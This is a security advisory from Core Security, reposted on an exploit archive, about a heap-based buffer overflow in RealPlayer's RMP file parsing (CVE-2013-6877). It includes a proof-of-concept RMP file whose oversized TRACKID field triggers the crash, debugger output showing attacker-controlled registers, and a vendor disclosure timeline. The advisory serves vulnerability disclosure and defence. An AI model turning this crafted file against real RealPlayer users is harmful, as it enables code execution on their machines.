what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

RealPlayer Heap-Based Buffer Overflow

RealPlayer Heap-Based Buffer Overflow
Posted Dec 20, 2013
Authored by Core Security Technologies, Ricardo Narvaja | Site coresecurity.com

Core Security Technologies Advisory - RealPlayer is prone to a security vulnerability when processing RMP files. This vulnerability could be exploited by a remote attacker to execute arbitrary code on the target machine, by enticing RealPlayer users to open a specially crafted RMP file (client-side attack). Versions 16.0.2.32 and 16.0.3.51 are affected.

tags | exploit, remote, arbitrary
advisories | CVE-2013-6877
SHA-256 | 138c669ee28a20c01fad95f2ddae01490a953b8043d0631d15f8c2f418a3d9c1

RealPlayer Heap-Based Buffer Overflow

Change Mirror Download
Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

RealPlayer Heap-based Buffer Overflow Vulnerability


1. *Advisory Information*

Title: RealPlayer Heap-based Buffer Overflow Vulnerability
Advisory ID: CORE-2013-0903
Advisory URL:
http://www.coresecurity.com/advisories/realplayer-heap-based-buffer-overflow-vulnerability
Date published: 2013-12-17
Date of last update: 2013-12-17
Vendors contacted: RealPlayer Team
Release mode: User release


2. *Vulnerability Information*

Class: Buffer overflow [CWE-119]
Impact: Code execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2013-6877


3. *Vulnerability Description*

RealPlayer [1], [2] is prone to a security vulnerability when processing
RMP files. This vulnerability could be exploited by a remote attacker to
execute arbitrary code on the target machine, by enticing RealPlayer
users to open a specially crafted RMP file (client-side attack).


4. *Vulnerable Packages*

. RealPlayer v16.0.2.32.
. RealPlayer v16.0.3.51.
. Other versions are probably affected too, but they were not checked.


5. *Vendor Information, Solutions and Workarounds*

Vendor notifies that a new version of RealPlayer will be probably
available near Dec 20th, 2013 (see [Sec. 8]). The new version will not
support RPM files and thus the issue will be fixed. As mitigation
action, given that this is a client-side vulnerability, avoid to open
untrusted RMP files. Contact vendor for further information.


6. *Credits*

This vulnerability was discovered and researched by Ricardo Narvaja from
Core Exploit Writers Team. This report was coordinated by Fernando
Miranda from Core Advisories Team.


7. *Technical Description / Proof of Concept Code*

/-----
<!--
#
# Description: RealPlayer v16.0.3.51 Proof of Concept (poc.rmp)
# Author: Ricardo Narvaja (CORE Security Exploit Writers Team)
# CORE ID: CORE-2013-0903
# CVE ID: CVE-2013-6877
#
# The contents of this software are copyright (c) 2013 CORE Security and
(c) 2013 CoreLabs,
# and are licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 (United States)
# License: <a
href="http://creativecommons.org/licenses/by-nc-sa/3.0/us/">http://creativecommons.org/licenses/by-nc-sa/3.0/us/</a>
#
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR
# CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF
# THIS SOFTWARE.
#
-->

<?xml version="1.0"?>
<PACKAGE>
<TITLE>resto</TITLE>
<ACTION>import,replace</ACTION>
<SERVER>
<LOCATION>%fid</LOCATION>
</SERVER>
<TARGET>resto</TARGET>
<TRACKLIST>
<LISTID>1</LISTID>
<TRACK>

<TRACKID>1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/TRACKID>
<TITLE>The French Experience</TITLE>
<ARTIST>BBC Languages</ARTIST>
<ALBUM></ALBUM>
<CHANNELS>0</CHANNELS>
<DURATION>80480</DURATION>
<FORMAT></FORMAT>
<GENRE></GENRE>
<QUALITY>29000</QUALITY>
<SIZE>0</SIZE>
<FILENAME>http://aaaaaaaaaaaaaaaaaa</FILENAME>
</TRACK>
</TRACKLIST>
</PACKAGE>
-----/

Below is shown the result of opening the maliciously crafted file
'poc.rmp' on Windows XP SP3:

/-----
63A530B6 8B08 MOV ECX,DWORD PTR DS:[EAX]
63A530B8 8B51 04 MOV EDX,DWORD PTR DS:[ECX+4] <----crash in
rpcontrols.dll
63A530BB 50 PUSH EAX
63A530BC FFD2 CALL EDX

EAX 01122BB8 ASCII
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ECX 61616161
EDX 0267F278
EBX 00000000
ESP 0012F5CC
EBP 0012F5D0
ESI 0012F5F4
EDI 00DD8AD8
EIP 63A530B8 rpcontro.63A530B8
-----/


8. *Report Timeline*

. 2013-09-03:
Core Security Technologies attempts to contact vendor. No reply
received. Publication date is set for Sep 25st, 2013.

. 2013-09-11:
Core attempts to contact vendor.

. 2013-09-11:
Vendor acknowledges Core's e-mail, and asks for a technical description
of the vulnerability.

. 2013-09-12:
Technical details sent to the vendor.

. 2013-09-16:
Core asks for a status update.

. 2013-09-16:
Vendor notifies that the vulnerability verification process has not
finished yet and asks for delaying the advisory announcement. Vendor
also claims that they have a six-month window to address vulnerabilities
and the current release date has not been set.

. 2013-09-23:
Core re-schedules the advisory publication for Oct 15th and asks for a
clear timeline regarding the patching process.

. 2013-09-24:
Vendor notifies that the normal procedure involves internal verification
of the issue (usually within two weeks of reporting). Once verified, it
is added to the queue for the next available release. Vendor also states
that they could not reproduce the issue and asks for additional
technical information.

. 2013-09-25:
First release date missed.

. 2013-10-02:
Core confirms that the issue is exploitable and sends additional
technical information and a new PoC.

. 2013-10-04:
Vendor notifies that they still cannot duplicate the issue, even with
the new PoC.

. 2013-10-08:
Core sends a demo (video) showing the exploitation in a fresh XP machine
and additional technical information.

. 2013-10-14:
Vendor asks for delaying the advisory release.

. 2013-10-15:
Second release date missed.

. 2013-10-15:
Core asks for a tentative release date.

. 2013-10-16:
Vendor notifies that they have just been able to duplicate the issue and
they can probably release a fix for the end of November.

. 2013-10-16:
Core re-schedules the advisory publication for Nov 27th and notifies
that this date should be considered final.

. 2013-11-11:
Core asks for a status update.

. 2013-11-22:
Vendor notifies that the fix will be released December 16th.

. 2013-11-26:
Core re-schedules the advisory publication for Dec 16th.

. 2013-11-27:
Third release date missed.

. 2013-12-06:
Vendor notifies that they have found an issue that must be fixed and the
date for announcing will be Dec 20th.

. 2013-12-09:
Core notifies that releasing security advisories on Fridays generates
unnecessary workload to IT teams worldwide considering the different
timezones and rejects Dec 20th as release date.

. 2013-12-09:
Vendor notifies that the new version of RealPlayer will not support RPM
files and thus the issue will be fixed.

. 2013-12-16:
Fourth release date missed.

. 2013-12-17:
Advisory CORE-2013-0903 published as 'user release'.


9. *References*

[1] http://www.real.com.
[2] http://www.real.com/realplayer.


10. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://corelabs.coresecurity.com.


11. *About Core Security Technologies*

Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.


12. *Disclaimer*

The contents of this advisory are copyright (c) 2013 Core Security
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/


13. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close